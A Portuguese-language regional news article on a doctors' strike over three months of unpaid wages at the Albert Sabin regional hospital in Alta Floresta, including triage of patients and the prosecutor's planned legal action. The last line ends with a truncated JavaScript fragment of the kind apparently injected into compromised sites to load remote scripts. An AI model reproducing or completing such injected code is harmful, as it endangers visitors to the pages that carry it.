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Médicos do Hospital Regional mantém paralisação de “atendimentos básicos”

MPE estuda entra com Ação para que o Estado cumpra com seu dever e não haja mais paralisações

HOSPITALDa Redação

Os médicos do Hospital Regional Albert Sabin de Alta Floresta paralisaram no último dia 04 de fevereiro, os atendimentos que são por eles classificados como “atividades básicas”, dentre eles os atendimentos ambulatoriais. Hoje exatos 13 dias após o início do movimento ainda não há uma previsão do Estado para a quitação dos salários atrasados que já acumulam 03 meses.
Na região, os hospitais de Sinop e Colíder começaram o ano com paralização das atividades por parte dos funcionários, que acumulam salários atrasados. Os pacientes destes municípios são encaminhados para Alta Floresta, hospital mais próximo para atendimento, o que só aumenta a preocupação em relação ao movimento dos médicos do HRAS.
Em visita na tarde desta segunda-feira, 15, às dependências do Hospital Regional, o diretor da unidade, José Marcos, não atendeu a nossa redação preferindo não se pronunciar.
Nós acompanhamos no hall de entrada, como é feito o atendimento. A medida em que os pacientes vão chegando, o procedimento é o mesmo, uma triagem é realizada pelos funcionários da recepção onde são identificados os atendimentos de “urgência e emergência”, o restante é encaminhado para os postos de saúde do município. Diferente do cenário encontrado na tarde do último dia 04, nesta segunda a sala de espera encontrava-se completamente lotada, a maioria da população com sintomas de Dengue/Zika/Chikungunya já correu para o hospital, já que muitas vezes os PSF,s estão sem médicos ou já foi atendido o número de pacientes por dia, deixando a população desamparada.
Ainda nesta segunda, ao menos no momento em que o Diário esteve no HRAS, os atendimentos no Pronto Socorro (urgência e emergência) estavam normalizados. As cirurgias eletivas, segundo o que foi informado, ocorrem normalmente.
Em contato com o promotor Luciano Martins da Silva as informações são de que o ministério público pretende mover uma ação para a normalização dos atendimentos. “A greve ainda persiste e o ministério público vislumbra uma solução rápida para esta greve, o ministério público esta recolhendo documentos e informações para apresentar uma proposta para o estado”, explica.
Segundo o promotor a previsão repassada pelo governo é de que antes do final de fevereiro os pagamentos em atraso com os médicos sejam quitados. “O governo alega uma dificuldade na creditação dos documentos para pagamentos das clínicas médicas, este problema já tem mais de dois anos e nestes últimos dois anos o hospital está parando três a quatro vezes no ano pelo mesmo motivo”.
Os repasses para os médicos já acumulam 03 meses de atrasos. Quanto aos tickets de alimentação aos demais funcionários, são cinco meses de vencimento.var d=document;var s=d.createElement(‘script’);

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